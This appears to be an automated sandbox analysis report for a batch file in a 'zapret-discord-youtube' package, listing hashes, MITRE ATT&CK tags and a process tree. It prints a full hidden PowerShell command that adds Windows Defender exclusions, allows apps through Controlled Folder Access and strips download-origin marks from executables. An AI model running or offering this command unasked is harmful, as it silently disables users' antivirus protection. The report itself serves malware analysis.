197ce86f9c1067a7ce07a50cb582befb861b4e187bc9818b88175651e9f91932

Analysis

max time kernel
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/10/2026, 12:11

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General

Target
zapret-discord-youtube-1.9.9c/bin/defender_guard.cmd
Size 1KB
Sample261030-pcvrbsbz21
SHA256 197ce86f9c1067a7ce07a50cb582befb861b4e187bc9818b88175651e9f91932
MD5 93543e0e49904c2c3cb729b203ea475e
SHA1 7e561d30fb2568d06ad2249e77850593ad9764d4
SHA512 0434e8e5c5f57f6180d15fcd5ba8371e1399682d815aa433d1499e33349b74aedecf2a00254ebf428a2c3d17eaba5fcaf500c2d63cb9264eb9ec8f5a66a77bbd
TLSH
T16731464A921016FDC3F9064415C353A8F78B4099E67DD7C11897822BE53944B8EFDF2A
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5128	powershell.exe
5128	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4928	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5128	powershell.exe
5128	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5128	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 4928 wrote to memory of 5128	4928	cmd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\defender_guard.cmd"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$e=$ErrorActionPreference; $ErrorActionPreference='SilentlyContinue'; $pkg=$env:GBZAP_PKG; $bin=$env:GBZAP_BIN; $wd=$env:GBZAP_WD; $exe=$env:GBZAP_EXE; $winws=$env:GBZAP_WINWS; foreach($p in @($pkg,$bin,$wd)){ if($p -and (Test-Path -LiteralPath $p)){ Add-MpPreference -ExclusionPath $p } }; foreach($f in @($exe,$winws,($bin+'WinDivert64.sys'),($bin+'WinDivert.dll'),($bin+'cygwin1.dll'))){ if($f -and (Test-Path -LiteralPath $f)){ Add-MpPreference -ExclusionPath $f } } }; Add-MpPreference -ExclusionProcess 'wdvcache.exe'; Add-MpPreference -ExclusionProcess 'winws.exe'; foreach($app in @($exe,$winws)){ if($app -and (Test-Path -LiteralPath $app)){ Add-MpPreference -ControlledFolderAccessAllowedApplications $app } }; $ub={ param($p) if($p -and (Test-Path -LiteralPath $p)){ Unblock-File -LiteralPath $p; Remove-Item -LiteralPath ($p+':Zone.Identifier') -Force } }; & $ub $exe; & $ub $winws; foreach($dir in @($pkg,$bin,$wd)){ if(-not $dir -or -not (Test-Path -LiteralPath $dir)){ continue }; Get-ChildItem -LiteralPath $dir -File -ErrorAction SilentlyContinue | Where-Object { $_.Extension -match '\.(exe|dll|sys|cmd|bat|ps1)$' } | ForEach-Object { & $ub $_.FullName } }; $ErrorActionPreference=$e"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5128

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/5128-0-0x00007FFB3DB5F000-0x00007FFB3DB60000-memory.dmp

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memory/5128-2-0x00000185B30F0000-0x00000185B3112000-memory.dmp

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memory/5128-1-0x00007FFB3D9D0000-0x00007FFB3E374000-memory.dmp

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memory/5128-5-0x00007FFB3D9D0000-0x00007FFB3E374000-memory.dmp

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memory/5128-6-0x00007FFB3D9D0000-0x00007FFB3E374000-memory.dmp

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memory/5128-7-0x00007FFB3D9D0000-0x00007FFB3E374000-memory.dmp

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memory/5128-9-0x00007FFB3D9D0000-0x00007FFB3E374000-memory.dmp

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memory/5128-10-0x00007FFB3D9D0000-0x00007FFB3E374000-memory.dmp

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